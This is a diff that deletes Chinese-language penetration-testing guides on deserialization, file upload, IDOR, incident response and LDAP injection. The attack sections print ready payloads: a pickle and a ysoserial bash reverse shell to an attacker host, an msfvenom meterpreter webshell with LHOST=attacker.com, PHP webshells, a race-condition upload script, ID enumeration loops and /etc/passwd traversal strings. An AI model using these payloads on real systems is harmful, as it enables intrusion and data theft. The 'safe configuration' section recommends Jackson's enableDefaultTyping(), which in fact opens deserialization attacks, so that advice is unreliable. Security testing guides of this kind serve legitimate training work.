// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
|
||||
?>
|
||||
```
|
||||
|
||||
**魔术方法利用:**
|
||||
- __destruct()
|
||||
- __wakeup()
|
||||
- __toString()
|
||||
- __call()
|
||||
|
||||
### 5. Python pickle
|
||||
|
||||
**基础测试:**
|
||||
```python
|
||||
import pickle
|
||||
import os
|
||||
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
return (os.system, ('id',))
|
||||
|
||||
pickle.dumps(RCE())
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### Java RCE
|
||||
|
||||
**使用ysoserial:**
|
||||
```bash
|
||||
# 生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
|
||||
|
||||
# Base64编码
|
||||
base64 -w 0 payload.bin
|
||||
```
|
||||
|
||||
**手动构造:**
|
||||
```java
|
||||
// 使用Gadget链构造恶意对象
|
||||
// 参考ysoserial源码
|
||||
```
|
||||
|
||||
### PHP RCE
|
||||
|
||||
**利用POP链:**
|
||||
```php
|
||||
<?php
|
||||
class A {
|
||||
public $b;
|
||||
function __destruct() {
|
||||
$this->b->test();
|
||||
}
|
||||
}
|
||||
|
||||
class B {
|
||||
public $c;
|
||||
function test() {
|
||||
call_user_func($this->c, "id");
|
||||
}
|
||||
}
|
||||
|
||||
$a = new A();
|
||||
$a->b = new B();
|
||||
$a->b->c = "system";
|
||||
echo serialize($a);
|
||||
?>
|
||||
```
|
||||
|
||||
### Python RCE
|
||||
|
||||
**Pickle RCE:**
|
||||
```python
|
||||
import pickle
|
||||
import base64
|
||||
import os
|
||||
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
|
||||
|
||||
payload = pickle.dumps(RCE())
|
||||
print(base64.b64encode(payload))
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 编码绕过
|
||||
|
||||
**Base64编码:**
|
||||
```
|
||||
原始: rO0ABXNy...
|
||||
编码: ck8wQUJYTnk...
|
||||
```
|
||||
|
||||
**URL编码:**
|
||||
```
|
||||
%72%4F%00%AB...
|
||||
```
|
||||
|
||||
### 过滤器绕过
|
||||
|
||||
**使用不同Gadget链:**
|
||||
- 如果CommonsCollections被过滤,尝试Spring
|
||||
- 如果某个版本被过滤,尝试其他版本
|
||||
|
||||
### 类名混淆
|
||||
|
||||
**使用反射:**
|
||||
```java
|
||||
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### ysoserial
|
||||
|
||||
```bash
|
||||
# 列出可用Gadget
|
||||
java -jar ysoserial.jar
|
||||
|
||||
# 生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
||||
|
||||
# 生成Base64
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" | base64
|
||||
```
|
||||
|
||||
### PHPGGC
|
||||
|
||||
```bash
|
||||
# 列出可用Gadget
|
||||
./phpggc -l
|
||||
|
||||
# 生成Payload
|
||||
./phpggc Monolog/RCE1 system id
|
||||
|
||||
# 生成编码Payload
|
||||
./phpggc -b Monolog/RCE1 system id
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截包含序列化数据的请求
|
||||
2. 使用插件生成Payload
|
||||
3. 替换原始数据
|
||||
4. 观察响应
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制序列化数据
|
||||
2. 验证反序列化触发代码执行
|
||||
3. 评估影响(RCE、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和序列化数据格式
|
||||
- 使用的Gadget链或利用方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(输入验证、使用安全序列化等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **避免反序列化不可信数据**
|
||||
- 使用JSON替代
|
||||
- 使用安全的序列化格式
|
||||
|
||||
2. **输入验证**
|
||||
```java
|
||||
// 白名单验证类名
|
||||
private static final Set<String> ALLOWED_CLASSES =
|
||||
Set.of("com.example.SafeClass");
|
||||
|
||||
private Object readObject(ObjectInputStream ois) {
|
||||
// 验证类名
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
3. **使用安全配置**
|
||||
```java
|
||||
// Jackson配置
|
||||
objectMapper.enableDefaultTyping();
|
||||
objectMapper.setVisibility(PropertyAccessor.FIELD,
|
||||
JsonAutoDetect.Visibility.ANY);
|
||||
```
|
||||
|
||||
4. **类加载器隔离**
|
||||
- 使用自定义ClassLoader
|
||||
- 限制可加载的类
|
||||
|
||||
5. **监控和日志**
|
||||
- 记录反序列化操作
|
||||
- 监控异常行为
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 注意不同版本库的Gadget链差异
|
||||
- 测试时注意Payload大小限制
|
||||
- 了解目标应用的依赖库版本
|
||||
@@ -1,328 +0,0 @@
|
||||
---
|
||||
name: file-upload-testing
|
||||
description: 文件上传漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 文件上传漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞类型
|
||||
|
||||
### 1. 未验证文件类型
|
||||
|
||||
**仅前端验证:**
|
||||
```javascript
|
||||
// 可被绕过
|
||||
if (!file.name.endsWith('.jpg')) {
|
||||
alert('只允许上传图片');
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 文件内容未验证
|
||||
|
||||
**仅检查扩展名:**
|
||||
```php
|
||||
// 危险代码
|
||||
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
|
||||
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 路径遍历
|
||||
|
||||
**未过滤文件名:**
|
||||
```
|
||||
filename: ../../../etc/passwd
|
||||
filename: ..\..\..\windows\system32\config\sam
|
||||
```
|
||||
|
||||
### 4. 文件名覆盖
|
||||
|
||||
**可预测的文件名:**
|
||||
```
|
||||
uploads/1.jpg
|
||||
uploads/2.jpg
|
||||
```
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 基础检测
|
||||
|
||||
**测试各种文件类型:**
|
||||
- .php, .jsp, .asp, .aspx
|
||||
- .php3, .php4, .php5, .phtml
|
||||
- .jspx, .jspf
|
||||
- .htaccess, .htpasswd
|
||||
|
||||
**测试双扩展名:**
|
||||
```
|
||||
shell.php.jpg
|
||||
shell.jpg.php
|
||||
```
|
||||
|
||||
**测试大小写:**
|
||||
```
|
||||
shell.PHP
|
||||
shell.PhP
|
||||
```
|
||||
|
||||
### 2. 内容类型绕过
|
||||
|
||||
**修改Content-Type:**
|
||||
```
|
||||
Content-Type: image/jpeg
|
||||
# 但文件内容是PHP代码
|
||||
```
|
||||
|
||||
**Magic Bytes:**
|
||||
```php
|
||||
// 在PHP代码前添加图片头
|
||||
GIF89a<?php phpinfo(); ?>
|
||||
```
|
||||
|
||||
### 3. 解析漏洞
|
||||
|
||||
**Apache解析漏洞:**
|
||||
```
|
||||
shell.php.xxx # Apache可能解析为PHP
|
||||
```
|
||||
|
||||
**IIS解析漏洞:**
|
||||
```
|
||||
shell.asp;.jpg
|
||||
shell.asp:.jpg
|
||||
```
|
||||
|
||||
**Nginx解析漏洞:**
|
||||
```
|
||||
shell.jpg%00.php
|
||||
```
|
||||
|
||||
### 4. 竞争条件
|
||||
|
||||
**文件上传后立即访问:**
|
||||
```python
|
||||
# 上传.php文件,在上传完成但删除前访问
|
||||
import requests
|
||||
import threading
|
||||
|
||||
def upload():
|
||||
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
|
||||
requests.post('http://target.com/upload', files=files)
|
||||
|
||||
def access():
|
||||
time.sleep(0.1)
|
||||
requests.get('http://target.com/uploads/shell.php?cmd=id')
|
||||
|
||||
threading.Thread(target=upload).start()
|
||||
threading.Thread(target=access).start()
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### PHP WebShell
|
||||
|
||||
**基础WebShell:**
|
||||
```php
|
||||
<?php system($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
**一句话木马:**
|
||||
```php
|
||||
<?php eval($_POST['a']); ?>
|
||||
```
|
||||
|
||||
**绕过过滤:**
|
||||
```php
|
||||
<?php
|
||||
$_GET['cmd']($_POST['a']);
|
||||
// 使用: ?cmd=system
|
||||
```
|
||||
|
||||
### .htaccess利用
|
||||
|
||||
**上传.htaccess:**
|
||||
```
|
||||
AddType application/x-httpd-php .jpg
|
||||
```
|
||||
|
||||
**然后上传shell.jpg(实际是PHP代码)**
|
||||
|
||||
### 图片马
|
||||
|
||||
**GIF图片马:**
|
||||
```php
|
||||
GIF89a
|
||||
<?php
|
||||
phpinfo();
|
||||
?>
|
||||
```
|
||||
|
||||
**PNG图片马:**
|
||||
```bash
|
||||
# 使用工具将PHP代码嵌入PNG
|
||||
python3 png2php.py shell.php shell.png
|
||||
```
|
||||
|
||||
### 文件包含配合
|
||||
|
||||
**如果存在文件包含漏洞:**
|
||||
```
|
||||
# 上传包含PHP代码的图片
|
||||
# 然后通过文件包含执行
|
||||
?file=uploads/shell.jpg
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 扩展名绕过
|
||||
|
||||
**双扩展名:**
|
||||
```
|
||||
shell.php.jpg
|
||||
shell.php;.jpg
|
||||
shell.php%00.jpg
|
||||
```
|
||||
|
||||
**大小写:**
|
||||
```
|
||||
shell.PHP
|
||||
shell.PhP
|
||||
```
|
||||
|
||||
**特殊字符:**
|
||||
```
|
||||
shell.php.
|
||||
shell.php
|
||||
shell.php%20
|
||||
```
|
||||
|
||||
### Content-Type绕过
|
||||
|
||||
**修改请求头:**
|
||||
```
|
||||
Content-Type: image/jpeg
|
||||
Content-Type: image/png
|
||||
Content-Type: image/gif
|
||||
```
|
||||
|
||||
### Magic Bytes绕过
|
||||
|
||||
**添加文件头:**
|
||||
```php
|
||||
// JPEG
|
||||
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
|
||||
|
||||
// GIF
|
||||
GIF89a<?php phpinfo(); ?>
|
||||
|
||||
// PNG
|
||||
\x89\x50\x4E\x47<?php phpinfo(); ?>
|
||||
```
|
||||
|
||||
### 代码混淆
|
||||
|
||||
**使用短标签:**
|
||||
```php
|
||||
<?= system($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
**使用变量:**
|
||||
```php
|
||||
<?php
|
||||
$a='sys';
|
||||
$b='tem';
|
||||
$a.$b($_GET['cmd']);
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截文件上传请求
|
||||
2. 修改文件名和内容
|
||||
3. 测试各种绕过技术
|
||||
|
||||
### Upload Bypass
|
||||
|
||||
```bash
|
||||
# 使用各种技术测试文件上传
|
||||
python upload_bypass.py -u http://target.com/upload -f shell.php
|
||||
```
|
||||
|
||||
### WebShell生成
|
||||
|
||||
```bash
|
||||
# 生成各种WebShell
|
||||
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.php
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以上传恶意文件
|
||||
2. 验证文件可以执行
|
||||
3. 评估影响(命令执行、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和上传功能
|
||||
- 可上传的文件类型和执行方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(文件类型验证、内容检查、安全存储等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **文件类型白名单**
|
||||
```python
|
||||
ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
|
||||
ext = filename.rsplit('.', 1)[1].lower()
|
||||
if ext not in ALLOWED_EXTENSIONS:
|
||||
raise ValueError("File type not allowed")
|
||||
```
|
||||
|
||||
2. **文件内容验证**
|
||||
```python
|
||||
import magic
|
||||
file_type = magic.from_buffer(file_content, mime=True)
|
||||
if not file_type.startswith('image/'):
|
||||
raise ValueError("Invalid file content")
|
||||
```
|
||||
|
||||
3. **重命名文件**
|
||||
```python
|
||||
import uuid
|
||||
filename = str(uuid.uuid4()) + '.' + ext
|
||||
```
|
||||
|
||||
4. **隔离存储**
|
||||
- 文件存储在Web根目录外
|
||||
- 通过脚本代理访问
|
||||
- 禁用执行权限
|
||||
|
||||
5. **文件扫描**
|
||||
- 使用杀毒软件扫描
|
||||
- 检查文件内容
|
||||
- 移除可执行权限
|
||||
|
||||
6. **大小限制**
|
||||
```python
|
||||
MAX_SIZE = 5 * 1024 * 1024 # 5MB
|
||||
if file.size > MAX_SIZE:
|
||||
raise ValueError("File too large")
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免上传恶意文件到生产环境
|
||||
- 测试后及时清理
|
||||
- 注意不同服务器的解析差异
|
||||
@@ -1,319 +0,0 @@
|
||||
---
|
||||
name: idor-testing
|
||||
description: IDOR不安全的直接对象引用测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# IDOR不安全的直接对象引用测试
|
||||
|
||||
## 概述
|
||||
|
||||
IDOR(Insecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。
|
||||
|
||||
**危险代码示例:**
|
||||
```php
|
||||
// 直接使用用户输入的ID
|
||||
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
|
||||
```
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别直接对象引用
|
||||
|
||||
**常见资源类型:**
|
||||
- 用户ID
|
||||
- 文件ID/文件名
|
||||
- 订单ID
|
||||
- 文档ID
|
||||
- 账户ID
|
||||
- 记录ID
|
||||
|
||||
**常见位置:**
|
||||
- URL参数
|
||||
- POST数据
|
||||
- Cookie值
|
||||
- HTTP头
|
||||
- 文件路径
|
||||
|
||||
### 2. 枚举测试
|
||||
|
||||
**顺序ID测试:**
|
||||
```
|
||||
/user?id=1
|
||||
/user?id=2
|
||||
/user?id=3
|
||||
```
|
||||
|
||||
**UUID测试:**
|
||||
```
|
||||
/user?id=550e8400-e29b-41d4-a716-446655440000
|
||||
/user?id=550e8400-e29b-41d4-a716-446655440001
|
||||
```
|
||||
|
||||
**文件名测试:**
|
||||
```
|
||||
/files/document1.pdf
|
||||
/files/document2.pdf
|
||||
/files/invoice_2024_001.pdf
|
||||
```
|
||||
|
||||
### 3. 水平权限测试
|
||||
|
||||
**访问其他用户资源:**
|
||||
```
|
||||
当前用户ID: 100
|
||||
测试: /user?id=101
|
||||
测试: /user?id=102
|
||||
```
|
||||
|
||||
**访问其他用户文件:**
|
||||
```
|
||||
/files/user100_document.pdf
|
||||
测试: /files/user101_document.pdf
|
||||
```
|
||||
|
||||
### 4. 垂直权限测试
|
||||
|
||||
**普通用户访问管理员资源:**
|
||||
```
|
||||
/admin/users?id=1
|
||||
/admin/settings
|
||||
/admin/logs
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 用户信息泄露
|
||||
|
||||
**枚举用户资料:**
|
||||
```bash
|
||||
# 顺序枚举
|
||||
for i in {1..1000}; do
|
||||
curl "https://target.com/user?id=$i"
|
||||
done
|
||||
|
||||
# 观察响应差异
|
||||
```
|
||||
|
||||
### 文件访问
|
||||
|
||||
**访问其他用户文件:**
|
||||
```
|
||||
/files/invoice_12345.pdf
|
||||
/files/report_67890.pdf
|
||||
/files/contract_11111.pdf
|
||||
```
|
||||
|
||||
**目录遍历结合:**
|
||||
```
|
||||
/files/../admin/config.php
|
||||
/files/../../etc/passwd
|
||||
```
|
||||
|
||||
### 数据修改
|
||||
|
||||
**修改其他用户数据:**
|
||||
```http
|
||||
POST /api/user/update
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"id": 101,
|
||||
"email": "attacker@evil.com"
|
||||
}
|
||||
```
|
||||
|
||||
### 批量操作
|
||||
|
||||
**批量获取数据:**
|
||||
```python
|
||||
import requests
|
||||
|
||||
for user_id in range(1, 1000):
|
||||
response = requests.get(f'https://target.com/api/user/{user_id}')
|
||||
if response.status_code == 200:
|
||||
print(f"User {user_id}: {response.json()}")
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### ID混淆
|
||||
|
||||
**Base64编码:**
|
||||
```
|
||||
原始ID: 123
|
||||
编码: MTIz
|
||||
URL: /user?id=MTIz
|
||||
```
|
||||
|
||||
**哈希值:**
|
||||
```
|
||||
原始ID: 123
|
||||
哈希: 202cb962ac59075b964b07152d234b70
|
||||
URL: /user?id=202cb962ac59075b964b07152d234b70
|
||||
```
|
||||
|
||||
### 参数名混淆
|
||||
|
||||
**使用不同参数名:**
|
||||
```
|
||||
/user?id=123
|
||||
/user?uid=123
|
||||
/user?user_id=123
|
||||
/user?account=123
|
||||
```
|
||||
|
||||
### HTTP方法绕过
|
||||
|
||||
**尝试不同HTTP方法:**
|
||||
```
|
||||
GET /user/123
|
||||
POST /user/123
|
||||
PUT /user/123
|
||||
PATCH /user/123
|
||||
```
|
||||
|
||||
### 路径混淆
|
||||
|
||||
**尝试不同路径:**
|
||||
```
|
||||
/api/v1/user/123
|
||||
/api/user/123
|
||||
/user/123
|
||||
/users/123
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用Intruder:**
|
||||
1. 拦截请求
|
||||
2. 发送到Intruder
|
||||
3. 标记ID参数
|
||||
4. 使用数字序列或自定义列表
|
||||
5. 观察响应差异
|
||||
|
||||
**使用Repeater:**
|
||||
1. 手动修改ID
|
||||
2. 测试不同值
|
||||
3. 观察响应
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# 使用ZAP进行IDOR扫描
|
||||
zap-cli active-scan --scanners all http://target.com
|
||||
```
|
||||
|
||||
### Python脚本
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
|
||||
def test_idor(base_url, user_id_range):
|
||||
for user_id in user_id_range:
|
||||
url = f"{base_url}/user?id={user_id}"
|
||||
response = requests.get(url)
|
||||
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
print(f"User {user_id}: {data.get('email', 'N/A')}")
|
||||
|
||||
test_idor("https://target.com", range(1, 100))
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以访问未授权的资源
|
||||
2. 验证可以读取、修改或删除其他用户数据
|
||||
3. 评估影响(数据泄露、隐私侵犯等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和资源标识符
|
||||
- 可访问的未授权资源
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(访问控制、资源映射等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **访问控制验证**
|
||||
```python
|
||||
def get_user_data(user_id, current_user_id):
|
||||
# 验证权限
|
||||
if user_id != current_user_id:
|
||||
raise PermissionDenied("Cannot access other user's data")
|
||||
|
||||
# 返回数据
|
||||
return db.get_user(user_id)
|
||||
```
|
||||
|
||||
2. **间接对象引用**
|
||||
```python
|
||||
# 使用映射表
|
||||
user_mapping = {
|
||||
'abc123': 100,
|
||||
'def456': 101,
|
||||
'ghi789': 102
|
||||
}
|
||||
|
||||
def get_user(mapped_id):
|
||||
real_id = user_mapping.get(mapped_id)
|
||||
if not real_id:
|
||||
raise NotFound()
|
||||
return db.get_user(real_id)
|
||||
```
|
||||
|
||||
3. **基于角色的访问控制**
|
||||
```python
|
||||
def check_permission(user, resource):
|
||||
if user.role == 'admin':
|
||||
return True
|
||||
if resource.owner_id == user.id:
|
||||
return True
|
||||
return False
|
||||
```
|
||||
|
||||
4. **资源所有权验证**
|
||||
```python
|
||||
def update_user_data(user_id, data, current_user):
|
||||
user = db.get_user(user_id)
|
||||
|
||||
# 验证所有权
|
||||
if user.id != current_user.id and current_user.role != 'admin':
|
||||
raise PermissionDenied()
|
||||
|
||||
# 更新数据
|
||||
db.update_user(user_id, data)
|
||||
```
|
||||
|
||||
5. **使用不可预测的标识符**
|
||||
```python
|
||||
import uuid
|
||||
|
||||
# 使用UUID替代顺序ID
|
||||
resource_id = str(uuid.uuid4())
|
||||
```
|
||||
|
||||
6. **最小权限原则**
|
||||
- 只返回用户有权限访问的数据
|
||||
- 使用数据过滤
|
||||
- 限制可访问的资源范围
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免访问或修改真实用户数据
|
||||
- 注意不同资源的访问控制差异
|
||||
- 测试时注意请求频率,避免触发防护
|
||||
@@ -1,272 +0,0 @@
|
||||
---
|
||||
name: incident-response
|
||||
description: 安全事件响应的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全事件响应
|
||||
|
||||
## 概述
|
||||
|
||||
安全事件响应是处理安全事件的关键流程。本技能提供安全事件响应的方法、工具和最佳实践。
|
||||
|
||||
## 响应流程
|
||||
|
||||
### 1. 准备阶段
|
||||
|
||||
**准备工作:**
|
||||
- 建立响应团队
|
||||
- 制定响应计划
|
||||
- 准备工具和资源
|
||||
- 建立通信渠道
|
||||
|
||||
### 2. 识别阶段
|
||||
|
||||
**识别事件:**
|
||||
- 监控告警
|
||||
- 异常检测
|
||||
- 日志分析
|
||||
- 用户报告
|
||||
|
||||
### 3. 遏制阶段
|
||||
|
||||
**遏制措施:**
|
||||
- 隔离受影响系统
|
||||
- 禁用账户
|
||||
- 阻断网络连接
|
||||
- 备份证据
|
||||
|
||||
### 4. 清除阶段
|
||||
|
||||
**清除威胁:**
|
||||
- 移除恶意软件
|
||||
- 修复漏洞
|
||||
- 重置凭证
|
||||
- 清理后门
|
||||
|
||||
### 5. 恢复阶段
|
||||
|
||||
**恢复系统:**
|
||||
- 恢复备份
|
||||
- 验证系统完整性
|
||||
- 监控系统
|
||||
- 逐步恢复服务
|
||||
|
||||
### 6. 总结阶段
|
||||
|
||||
**总结经验:**
|
||||
- 事件报告
|
||||
- 经验教训
|
||||
- 改进措施
|
||||
- 更新流程
|
||||
|
||||
## 工具使用
|
||||
|
||||
### 日志分析
|
||||
|
||||
**使用Splunk:**
|
||||
```bash
|
||||
# 搜索日志
|
||||
index=security event_type="failed_login"
|
||||
|
||||
# 统计分析
|
||||
index=security | stats count by src_ip
|
||||
|
||||
# 时间序列分析
|
||||
index=security | timechart count by event_type
|
||||
```
|
||||
|
||||
**使用ELK:**
|
||||
```bash
|
||||
# Elasticsearch查询
|
||||
GET /logs/_search
|
||||
{
|
||||
"query": {
|
||||
"match": {
|
||||
"event_type": "malware"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 取证工具
|
||||
|
||||
**使用Volatility:**
|
||||
```bash
|
||||
# 分析内存镜像
|
||||
volatility -f memory.dump imageinfo
|
||||
|
||||
# 列出进程
|
||||
volatility -f memory.dump --profile=Win7SP1x64 pslist
|
||||
|
||||
# 提取进程内存
|
||||
volatility -f memory.dump --profile=Win7SP1x64 memdump -p 1234 -D output/
|
||||
```
|
||||
|
||||
**使用Autopsy:**
|
||||
```bash
|
||||
# 启动Autopsy
|
||||
# 创建案例
|
||||
# 添加证据
|
||||
# 分析数据
|
||||
```
|
||||
|
||||
### 网络分析
|
||||
|
||||
**使用Wireshark:**
|
||||
```bash
|
||||
# 捕获流量
|
||||
wireshark -i eth0
|
||||
|
||||
# 分析PCAP文件
|
||||
wireshark -r capture.pcap
|
||||
|
||||
# 过滤流量
|
||||
# 显示过滤器: ip.addr == 192.168.1.100
|
||||
# 捕获过滤器: host 192.168.1.100
|
||||
```
|
||||
|
||||
**使用tcpdump:**
|
||||
```bash
|
||||
# 捕获流量
|
||||
tcpdump -i eth0 -w capture.pcap
|
||||
|
||||
# 分析流量
|
||||
tcpdump -r capture.pcap -A
|
||||
```
|
||||
|
||||
## 事件类型
|
||||
|
||||
### 恶意软件
|
||||
|
||||
**响应步骤:**
|
||||
1. 隔离受影响系统
|
||||
2. 收集样本
|
||||
3. 分析恶意软件
|
||||
4. 清除威胁
|
||||
5. 修复漏洞
|
||||
|
||||
**工具:**
|
||||
- VirusTotal
|
||||
- Cuckoo Sandbox
|
||||
- YARA规则
|
||||
|
||||
### 数据泄露
|
||||
|
||||
**响应步骤:**
|
||||
1. 确认泄露范围
|
||||
2. 遏制泄露
|
||||
3. 评估影响
|
||||
4. 通知相关方
|
||||
5. 修复漏洞
|
||||
|
||||
**检查项目:**
|
||||
- 泄露数据量
|
||||
- 受影响用户
|
||||
- 泄露渠道
|
||||
- 数据敏感性
|
||||
|
||||
### 拒绝服务
|
||||
|
||||
**响应步骤:**
|
||||
1. 确认攻击类型
|
||||
2. 启用防护措施
|
||||
3. 过滤恶意流量
|
||||
4. 监控系统状态
|
||||
5. 恢复正常服务
|
||||
|
||||
**防护措施:**
|
||||
- DDoS防护服务
|
||||
- 流量清洗
|
||||
- 限流措施
|
||||
- CDN防护
|
||||
|
||||
### 未授权访问
|
||||
|
||||
**响应步骤:**
|
||||
1. 禁用受影响账户
|
||||
2. 重置凭证
|
||||
3. 检查访问日志
|
||||
4. 评估数据访问
|
||||
5. 修复漏洞
|
||||
|
||||
**检查项目:**
|
||||
- 访问时间
|
||||
- 访问内容
|
||||
- 访问来源
|
||||
- 数据修改
|
||||
|
||||
## 响应清单
|
||||
|
||||
### 准备阶段
|
||||
- [ ] 建立响应团队
|
||||
- [ ] 制定响应计划
|
||||
- [ ] 准备工具
|
||||
- [ ] 建立通信渠道
|
||||
|
||||
### 识别阶段
|
||||
- [ ] 确认事件
|
||||
- [ ] 收集信息
|
||||
- [ ] 评估影响
|
||||
- [ ] 记录时间线
|
||||
|
||||
### 遏制阶段
|
||||
- [ ] 隔离系统
|
||||
- [ ] 禁用账户
|
||||
- [ ] 阻断连接
|
||||
- [ ] 备份证据
|
||||
|
||||
### 清除阶段
|
||||
- [ ] 移除威胁
|
||||
- [ ] 修复漏洞
|
||||
- [ ] 重置凭证
|
||||
- [ ] 验证清除
|
||||
|
||||
### 恢复阶段
|
||||
- [ ] 恢复系统
|
||||
- [ ] 验证完整性
|
||||
- [ ] 监控系统
|
||||
- [ ] 恢复服务
|
||||
|
||||
### 总结阶段
|
||||
- [ ] 编写报告
|
||||
- [ ] 总结经验
|
||||
- [ ] 改进措施
|
||||
- [ ] 更新流程
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 准备
|
||||
|
||||
- 建立响应团队
|
||||
- 制定响应计划
|
||||
- 定期演练
|
||||
- 准备工具
|
||||
|
||||
### 2. 响应
|
||||
|
||||
- 快速响应
|
||||
- 系统化处理
|
||||
- 记录所有操作
|
||||
- 保护证据
|
||||
|
||||
### 3. 沟通
|
||||
|
||||
- 内部沟通
|
||||
- 外部通知
|
||||
- 状态更新
|
||||
- 事后报告
|
||||
|
||||
### 4. 改进
|
||||
|
||||
- 事件分析
|
||||
- 流程改进
|
||||
- 工具更新
|
||||
- 培训提升
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 快速响应
|
||||
- 保护证据
|
||||
- 记录操作
|
||||
- 遵守法律法规
|
||||
@@ -1,300 +0,0 @@
|
||||
---
|
||||
name: ldap-injection-testing
|
||||
description: LDAP注入漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# LDAP注入漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
|
||||
|
||||
**危险代码示例:**
|
||||
```java
|
||||
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
|
||||
ldapContext.search(baseDN, filter, ...);
|
||||
```
|
||||
|
||||
## LDAP基础
|
||||
|
||||
### 查询语法
|
||||
|
||||
**基础查询:**
|
||||
```
|
||||
(cn=John)
|
||||
(objectClass=person)
|
||||
(&(cn=John)(mail=john@example.com))
|
||||
(|(cn=John)(cn=Jane))
|
||||
(!(cn=John))
|
||||
```
|
||||
|
||||
### 特殊字符
|
||||
|
||||
**需要转义的字符:**
|
||||
- `(` `)` - 括号
|
||||
- `*` - 通配符
|
||||
- `\` - 转义符
|
||||
- `/` - 路径分隔符
|
||||
- `NUL` - 空字符
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别LDAP输入点
|
||||
|
||||
**常见功能:**
|
||||
- 用户登录
|
||||
- 用户搜索
|
||||
- 目录浏览
|
||||
- 权限验证
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试特殊字符:**
|
||||
```
|
||||
*)(&
|
||||
*)(|
|
||||
*))(
